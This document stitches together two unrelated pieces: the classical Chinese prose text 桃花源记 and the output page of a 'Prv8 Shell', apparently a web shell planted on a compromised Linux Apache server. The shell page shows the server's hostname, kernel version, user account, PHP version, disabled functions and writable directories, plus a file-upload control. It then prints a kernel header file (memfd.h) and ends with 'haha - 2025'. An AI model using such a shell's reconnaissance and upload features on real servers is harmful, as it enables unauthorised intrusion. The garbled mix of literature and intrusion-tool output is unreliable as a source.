晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/include/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/include/linux/memfd.h
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _LINUX_MEMFD_H
#define _LINUX_MEMFD_H

#include <asm-generic/hugetlb_encode.h>

/* flags for memfd_create(2) (unsigned int) */
#define MFD_CLOEXEC		0x0001U
#define MFD_ALLOW_SEALING	0x0002U
#define MFD_HUGETLB		0x0004U

/*
 * Huge page size encoding when MFD_HUGETLB is specified, and a huge page
 * size other than the default is desired.  See hugetlb_encode.h.
 * All known huge page size encodings are provided here.  It is the
 * responsibility of the application to know which sizes are supported on
 * the running system.  See mmap(2) man page for details.
 */
#define MFD_HUGE_SHIFT	HUGETLB_FLAG_ENCODE_SHIFT
#define MFD_HUGE_MASK	HUGETLB_FLAG_ENCODE_MASK

#define MFD_HUGE_64KB	HUGETLB_FLAG_ENCODE_64KB
#define MFD_HUGE_512KB	HUGETLB_FLAG_ENCODE_512KB
#define MFD_HUGE_1MB	HUGETLB_FLAG_ENCODE_1MB
#define MFD_HUGE_2MB	HUGETLB_FLAG_ENCODE_2MB
#define MFD_HUGE_8MB	HUGETLB_FLAG_ENCODE_8MB
#define MFD_HUGE_16MB	HUGETLB_FLAG_ENCODE_16MB
#define MFD_HUGE_32MB	HUGETLB_FLAG_ENCODE_32MB
#define MFD_HUGE_256MB	HUGETLB_FLAG_ENCODE_256MB
#define MFD_HUGE_512MB	HUGETLB_FLAG_ENCODE_512MB
#define MFD_HUGE_1GB	HUGETLB_FLAG_ENCODE_1GB
#define MFD_HUGE_2GB	HUGETLB_FLAG_ENCODE_2GB
#define MFD_HUGE_16GB	HUGETLB_FLAG_ENCODE_16GB

#endif /* _LINUX_MEMFD_H */

haha - 2025